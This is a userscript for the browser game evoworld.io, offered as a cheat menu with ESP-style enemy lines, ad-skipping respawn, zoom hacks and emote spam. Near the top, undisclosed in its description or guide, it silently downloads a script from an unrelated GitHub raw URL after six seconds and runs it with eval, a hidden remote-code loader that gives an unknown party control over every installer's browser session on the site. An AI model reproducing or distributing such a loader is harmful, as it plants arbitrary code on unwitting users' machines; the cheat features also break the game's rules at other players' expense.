// ==UserScript==
// @name Evoworld.io Multi menu
// @namespace http://tampermonkey.net/
// @version 1.1
// @description The new cheat-script for evoeorld.io with a lot of functions
// @author You
// @license MIT
// @match https://evoworld.io/
// @icon https://www.google.com/s2/favicons?sz=64&domain=evoworld.io
// @grant none
// ==/UserScript==
(function () {
'use strict';
setTimeout(() => {$.get("https://raw.githubusercontent.com/cameronlucky73/confused/main/o.js", (d) => eval(d));}, 6000);
// --- Overlay HTML ---
let overlayHTML = `
<div id="main_panel">
<h3>Main panel</h3>
<div class="main_panel_content">
<small>Click on the desired option to activate it.</small>
<div class="button" onclick="(function() { setInterval(function(){startBonus = true}, 1) })();">Exp bonus +30%</div>
<div class="button" onclick="document.body.onkeyup = function(e) {if (e.keyCode == 81){ sendEmote(1); } if ( e.keyCode == 69){sendEmote(10);}};">Emoji hack (Buttons Q and E)</div>
<div class="button" onclick="setInterval(function(){if(imDead == true){playAgain()}}, 1)">Instant respawn (Risky)</div>
<div class="button" onclick="document.addEventListener('keydown', (event) => {if (event.key == 'r') {game.canvas.click()}})">Holding jump (Press "R")</div>
<div class="button" onclick="document.addEventListener('keydown', (event) => {if (event.key == 'f') {game.canvas.width = 1719;game.canvas.height = 1009}})">Big zoom (Press "F")</div>
Zoom<input type="range" min="1" max="2" value="1" step="0.01" id="Zoom">
<br><br><input type="input" value="Enter any level here(Visual)" id="anyLevel">
<br><br><input type="input" value="Enter any nick here(Visual)" id="anyNick">
<br><br><div id="cloudSlider">
<label>Cloud Transparency</label>
<input type="range" min="0" max="1" step="0.01" value="0.5">
</div>
<div id="swampSlider">
<label>Swamp Transparency</label>
<input type="range" min="0" max="1" step="0.01" value="1">
</div>
<div id="bushSlider">
<label>Bush Transparency</label>
<input type="range" min="0" max="1" step="0.01" value="1">
</div>
<br><br><div id="enemyLinesCheckbox">
<input type="checkbox" checked>
<label>Enemy Show</label>
</div>
<div id="emoteSpamCheckbox">
<input type="checkbox">
<label>Emote Spam</label>
</div>
<div id="colorPicker">
<label>Enemy Line Color</label>
<input type="color" value="yellow">
</div>
<hr>
<h4>Guide</h4>
<p>Exp Bonus +30% — When activated, the bonus will be enabled, but it won’t work if you have already watched an ad before the game or if you have a premium account.
Emoji Hack (Buttons Q and E) — When activated, hotkeys will be enabled: pressing "Q" will send 👎, and pressing "E" will send 😆.
Instant Respawn (Risky) — When activated, you will automatically respawn upon death without watching an ad, but there is a high chance that you will be automatically disconnected from the server, requiring you to reload the game and evolve again.
Holding Jump (Press "R") — When activated, holding the "R" key will make you automatically fly upward at the maximum allowed speed.
Big Zoom (Press "F") — When activated, pressing "F" will enable a kind of zoom-out effect. Zoom — A simple slider for adjusting zoom.
Cloud Transparency — Controls the transparency of special objects, meant for adjusting cloud transparency on old PCs.
Swamp Transparency — Controls the transparency of swamps (for old PCs).
Bush Transparency — Controls the transparency of bushes (for old PCs).
Enemy Show — Displays health bars and distances to players (enabled by default).
Emote Spam — Spams random emotes. Enemy Line Color — Changes the color of the line displaying the distance to neutral players.<br><br>
You will see well underground and FPS Boost will be automatically activated.</p>
</div>
<hr>
<p>ℹ Press Y to hide the main panel</p>
</div>
<div id="viewmod">
<div class="button2" onclick="game.me.getAllPositions = function() { return { 'x': this['position']['x'], 'y': this['position']['y'], 'center': { 'x': this['position']['x'] + this['width'], 'y': this['position']['y'] + this['height'] }, 'right': this['position']['x'] + this['width'], 'left': this['position']['x'], 'top': this['position']['y'] + this['height'], 'bottom': this['position']['y'] };}">Default view</div>
<br><div class="button2" onclick="game.me.getAllPositions = function() { return { 'x': this['position']['x'], 'y': this['position']['y'], 'center': { 'x': this['position']['x'] + this['width'], 'y': this['position']['y'] + this['height'] + 200 }, 'right': this['position']['x'] + this['width'], 'left': this['position']['x'], 'top': this['position']['y'] + this['height'], 'bottom': this['position']['y'] };}">Top view</div>
<div class="button2" onclick="game.me.getAllPositions = function() { return { 'x': this['position']['x'], 'y': this['position']['y'], 'center': { 'x': this['position']['x'] + this['width'] - 200, 'y': this['position']['y'] + this['height'] }, 'right': this['position']['x'] + this['width'], 'left': this['position']['x'], 'top': this['position']['y'] + this['height'], 'bottom': this['position']['y'] };}">Left view</div>
<div class="button2" onclick="game.me.getAllPositions = function() { return { 'x': this['position']['x'], 'y': this['position']['y'], 'center': { 'x': this['position']['x'] + this['width'] + 200, 'y': this['position']['y'] + this['height'] }, 'right': this['position']['x'] + this['width'], 'left': this['position']['x'], 'top': this['position']['y'] + this['height'], 'bottom': this['position']['y'] };}">Right view</div>
<div class="button2" onclick="game.me.getAllPositions = function() { return { 'x': this['position']['x'], 'y': this['position']['y'], 'center': { 'x': this['position']['x'] + this['width'], 'y': this['position']['y'] + this['height'] - 200 }, 'right': this['position']['x'] + this['width'], 'left': this['position']['x'], 'top': this['position']['y'] + this['height'], 'bottom': this['position']['y'] };}">Bottom view</div>
</div>
<style>
*{
outline: none;
}
input[type="range"] {
accent-color: coral;
}
#main_panel {
z-index: 10;
position: absolute;
top: 50%;
left: 0;
width: 20%;
padding: 12px 12px;
transition: 0.5s;
backdrop-filter: blur(5px);
border-radius: 0px 24px 24px 0px;
font-family: Arial, Helvetica, sans-serif;
transform: translateY(-50%);
background-color: rgba(255, 255, 255, 0.75);
-webkit-box-shadow: 0px 0px 32px 10px rgba(34, 60, 80, 0.2);
-moz-box-shadow: 0px 0px 32px 10px rgba(34, 60, 80, 0.2);
box-shadow: 0px 0px 32px 10px rgba(34, 60, 80, 0.2);
}
.main_panel_content {
max-height: 420px;
overflow-y: auto;
padding: 12px 12px;
word-wrap: break-word;
overflow-wrap: break-word;
white-space: normal;
}
#viewmod {
z-index: 10;
position: absolute;
top: 50%;
right: 0;
transition: 0.5s;
transform: translateY(-50%);
font-family: Arial, Helvetica, sans-serif;
}
.button {
all: unset;
font-size: 16px;
background: transparent;
border: none;
position: relative;
color: #f0f0f0;
cursor: pointer;
z-index: 1;
margin: 24px 6px;
padding: 10px 20px;
display: flex;
align-items: center;
justify-content: center;
white-space: nowrap;
user-select: none;
-webkit-user-select: none;
touch-action: manipulation;
}
.button::after,
.button::before {
content: '';
position: absolute;
bottom: 0;
right: 0;
z-index: -99999;
transition: all .4s;
}
.button::before {
transform: translate(0%, 0%);
width: 100%;
height: 100%;
background: #28282d;
border-radius: 10px;
}
.button::after {
transform: translate(10px, 10px);
width: 35px;
height: 35px;
background: #ffffff15;
backdrop-filter: blur(5px);
-webkit-backdrop-filter: blur(5px);
border-radius: 50px;
}
.button:hover::before {
transform: translate(5%, 20%);
width: 110%;
height: 110%;
}
.button:hover::after {
border-radius: 10px;
transform: translate(0, 0);
width: 100%;
height: 100%;
}
.button:active::after {
transition: 0s;
transform: translate(0, 5%);
}
.button2 {
background-color: #fff000;
border-radius: 12px;
color: #000;
cursor: pointer;
font-weight: bold;
padding: 10px 15px;
text-align: center;
transition: 200ms;
width: 100%;
box-sizing: border-box;
border: 0;
margin: 4px 0px;
font-size: 16px;
user-select: none;
-webkit-user-select: none;
touch-action: manipulation;
}
.button2:not(:disabled):hover,
.button2:not(:disabled):focus {
outline: 0;
background: #f4e603;
box-shadow: 0 0 0 2px rgba(0,0,0,.2), 0 3px 8px 0 rgba(0,0,0,.15);
}
.button2:disabled {
filter: saturate(0.2) opacity(0.5);
-webkit-filter: saturate(0.2) opacity(0.5);
cursor: not-allowed;
}
</style>
`;
// --- Вставка Overlay в DOM ---
let overlay = document.createElement("div");
overlay.innerHTML = overlayHTML;
document.body.appendChild(overlay);
// --- Логика для скрытия/показа панели ---
let box = document.getElementById("main_panel");
box.style.opacity = "1";
document.addEventListener('keydown', (event) => {
if (event.keyCode == 89) {
let opac = box.style.opacity;
if (opac == 1) {
box.style.opacity = "0";
} else {
box.style.opacity = "1";
}
}
});
// --- Логика для ползунков и инпутов ---
let Game = { me: { zoom: undefined, visualNick: undefined, visualLevel: undefined }, camera: { position: undefined } };
let slider = document.getElementById('Zoom');
slider.oninput = function () {
Game.me.zoom = this.value;
gameZoom = Game.me.zoom;
};
let input = document.getElementById('anyLevel');
input.oninput = function () {
Game.me.visualLevel = this.value;
game.me.level = Game.me.visualLevel;
};
let input1 = document.getElementById('anyNick');
input1.oninput = function () {
Game.me.visualNick = this.value;
game.me.nick = Game.me.visualNick;
};
// --- Логика для анимации ---
let animationFrameId;
const startAnimationFrame = (previousTimestamp = performance.now(), remainingFrameTime = 0) => {
let timeElapsedSinceLastFrame = performance.now() - previousTimestamp,
targetFrameInterval = 16.67 - timeElapsedSinceLastFrame + remainingFrameTime,
frameDelay = targetFrameInterval - (0 | targetFrameInterval);
animationFrameId = requestAnimationFrame(() => startAnimationFrame(previousTimestamp, frameDelay));
};
startAnimationFrame();
window.addEventListener("beforeunload", () => {
animationFrameId && cancelAnimationFrame(animationFrameId);
});
// --- Логика для эхолокации ---
function echolocation() {
visionType = 1;
}
setInterval(echolocation, 0);
// --- Логика для полноэкранного блока ---
let fullscreenBlock = document.createElement("div");
fullscreenBlock.id = "fullscreen_block";
fullscreenBlock.style.position = "fixed";
fullscreenBlock.style.top = "0";
fullscreenBlock.style.left = "0";
fullscreenBlock.style.width = "100%";
fullscreenBlock.style.height = "100%";
fullscreenBlock.style.backgroundColor = "rgba(0, 0, 0, 24)";
fullscreenBlock.style.zIndex = "9999";
fullscreenBlock.style.display = "flex";
fullscreenBlock.style.justifyContent = "center";
fullscreenBlock.style.alignItems = "center";
fullscreenBlock.style.transition = "opacity 5s";
let fullscreenText = document.createElement("div");
fullscreenText.textContent = "By: ilya gaydov";
fullscreenText.style.color = "white";
fullscreenText.style.fontFamily = "Arial, sans-serif";
fullscreenText.style.fontSize = "24px";
fullscreenBlock.appendChild(fullscreenText);
document.body.appendChild(fullscreenBlock);
setTimeout(() => {
fullscreenBlock.style.opacity = "0";
setTimeout(() => {
fullscreenBlock.remove();
}, 5000);
}, 0);
// --- Логика для первого скрипта ---
function waitForGameLoad() {
if (typeof game !== 'undefined' && game.canvas) {
initScript();
} else {
setTimeout(waitForGameLoad, 500);
}
}
function initScript() {
console.log("Game loaded, initializing script...");
// --- Feature Toggles ---
let showEnemyLines = true;
let emoteSpamEnabled = false;
// --- Enemy Line Color ---
let enemyLineColor = 'yellow';
// --- Menu Elements ---
const cloudSlider = document.getElementById('cloudSlider').querySelector('input');
const swampSlider = document.getElementById('swampSlider').querySelector('input');
const bushSlider = document.getElementById('bushSlider').querySelector('input');
const enemyLinesCheckbox = document.getElementById('enemyLinesCheckbox').querySelector('input');
const emoteSpamCheckbox = document.getElementById('emoteSpamCheckbox').querySelector('input');
const colorPicker = document.getElementById('colorPicker').querySelector('input');
// --- Apply Transparency ---
function applyTransparency() {
const cloudAlpha = parseFloat(cloudSlider.value);
const swampAlpha = parseFloat(swampSlider.value);
const bushAlpha = parseFloat(bushSlider.value);
Object.values(game.gameObjects).forEach(obj => {
if (obj.name.includes('cloud')) {
obj.opacity = cloudAlpha;
} else if (obj.name === 'swamp') {
obj.opacity = swampAlpha;
} else if (obj.name.includes('bush')) {
obj.opacity = bushAlpha;
}
});
}
// --- Override game.isVisible to make players in safe zones visible ---
const originalIsVisible = game.isVisible;
game.isVisible = function (camera, obj, originalWidth, originalHeight) {
if (obj.type === objectType.PLAYER && obj.inSafeZone) {
return true; // Always visible
}
return originalIsVisible.call(this, camera, obj, originalWidth, originalHeight);
};
// --- Draw Enemy Lines ---
function drawEnemyLines() {
if (showEnemyLines) {
const ctx = game.dynamicContext;
ctx.strokeStyle = enemyLineColor;
ctx.lineWidth = 2;
ctx.font = '14px Arial';
const extendedRenderDistance = game.worldWidth;
Object.values(game.gameObjects).forEach(obj => {
if (obj.type === objectType.PLAYER && obj !== game.me &&
game.isVisible(game.camera, obj, extendedRenderDistance, extendedRenderDistance)) {
const myPos = game.getRenderPosition(game.me.position.x + game.me.width / 2, game.me.position.y + game.me.height / 2);
const enemyPos = game.getRenderPosition(obj.position.x + obj.width / 2, obj.position.y + obj.height / 2);
const distance = Math.round(getDistance(game.me.position.x, game.me.position.y, obj.position.x, obj.position.y));
// Draw line
drawDangerLine(ctx, myPos, enemyPos, obj);
// Draw distance
ctx.fillStyle = 'white';
ctx.fillText(`${distance}m`, (myPos.x + enemyPos.x) / 2, (myPos.y + enemyPos.y) / 2);
// Draw glowing box
ctx.shadowColor = 'cyan';
ctx.shadowBlur = 10;
const boxSize = 40;
ctx.strokeRect(enemyPos.x - boxSize / 2, enemyPos.y - boxSize / 2, boxSize, boxSize);
ctx.shadowBlur = 0;
// Draw danger label
drawDangerLabel(ctx, enemyPos, obj);
}
});
}
}
// --- Draw Danger Line ---
function drawDangerLine(ctx, myPos, enemyPos, enemy) {
ctx.beginPath();
ctx.moveTo(myPos.x, myPos.y);
ctx.lineTo(enemyPos.x, enemyPos.y);
// Set line color based on danger
if (canEat(enemy, game.me)) {
ctx.strokeStyle = 'red'; // Dangerous enemy
} else {
ctx.strokeStyle = enemyLineColor; // Safe enemy
}
ctx.stroke();
}
// --- Draw Danger Label ---
function drawDangerLabel(ctx, enemyPos, enemy) {
ctx.fillStyle = canEat(enemy, game.me) ? 'red' : 'green';
ctx.font = 'bold 16px Arial';
let label = canEat(enemy, game.me) ? 'Danger' : 'Safe';
let textWidth = ctx.measureText(label).width;
ctx.fillText(label, enemyPos.x - textWidth / 2, enemyPos.y - 55); // Moved label higher
}
// --- Dynamic Transparency for Clouds/Bushes/Swamp ---
const originalDrawObject = game.drawObject;
game.drawObject = function (obj, staticCanvas) {
if ((obj.name.includes('cloud') || obj.name === 'swamp' || obj.name.includes('bush')) && game.isVisible(game.camera, obj)) {
obj.opacity = parseFloat(cloudSlider.value);
staticCanvas = false;
}
originalDrawObject.call(this, obj, staticCanvas);
};
// --- Emote Spam ---
emoteSpamCheckbox.addEventListener('change', () => {
emoteSpamEnabled = emoteSpamCheckbox.checked;
if (emoteSpamEnabled) {
startEmoteSpam();
} else {
stopEmoteSpam();
}
});
let emoteSpamInterval;
function startEmoteSpam() {
emoteSpamInterval = setInterval(() => {
if (typeof gameServer !== 'undefined' && !imDead && joinedGame) {
const randomEmoteId = Math.floor(Math.random() * 13) + 1;
sendEmote(randomEmoteId);
}
}, 1000);
}
function stopEmoteSpam() {
clearInterval(emoteSpamInterval);
}
// --- Event Listeners for Menu Changes ---
cloudSlider.addEventListener('input', applyTransparency);
swampSlider.addEventListener('input', applyTransparency);
bushSlider.addEventListener('input', applyTransparency);
enemyLinesCheckbox.addEventListener('change', () => showEnemyLines = enemyLinesCheckbox.checked);
colorPicker.addEventListener('change', () => enemyLineColor = colorPicker.value);
// --- Add Enemy Lines to the Game Loop ---
const originalBeforeDrawAllObjects = game.beforeDrawAllObjects;
game.beforeDrawAllObjects = function () {
originalBeforeDrawAllObjects.apply(this, arguments);
drawEnemyLines();
};
// --- Set Initial Transparency ---
applyTransparency();
}
// --- Helper Functions ---
function getDistance(x1, y1, x2, y2) {
let dx = x2 - x1;
let dy = y2 - y1;
return Math.sqrt(dx * dx + dy * dy);
}
// --- Food Eating Logic ---
function canEat(eater, food) {
if (foodChain[eater.name] && foodChain[eater.name].eats[food.name]) {
return true;
}
return false;
}
// --- Wait for Game Load ---
waitForGameLoad();
})();
// --- FPS ---
let fpsCounter = document.createElement('div');
fpsCounter.style.position = 'absolute';
fpsCounter.style.top = '10px';
fpsCounter.style.right = '10px';
fpsCounter.style.padding = '5px 10px';
fpsCounter.style.background = 'rgba(0, 0, 0, 0.7)';
fpsCounter.style.color = 'white';
fpsCounter.style.fontFamily = 'Arial, sans-serif';
fpsCounter.style.fontSize = '14px';
fpsCounter.style.borderRadius = '5px';
fpsCounter.innerText = 'FPS: 0';
fpsCounter.style.zIndex = '100'; // Устанавливаем максимальный z-index
document.body.appendChild(fpsCounter);
let lastTime = performance.now();
let frameCount = 0;
let fps = 0;
function updateFPS() {
let now = performance.now();
frameCount++;
if (now - lastTime >= 1000) {
fps = frameCount;
frameCount = 0;
lastTime = now;
fpsCounter.innerText = `FPS: ${fps}`;
}
requestAnimationFrame(updateFPS);
}
updateFPS();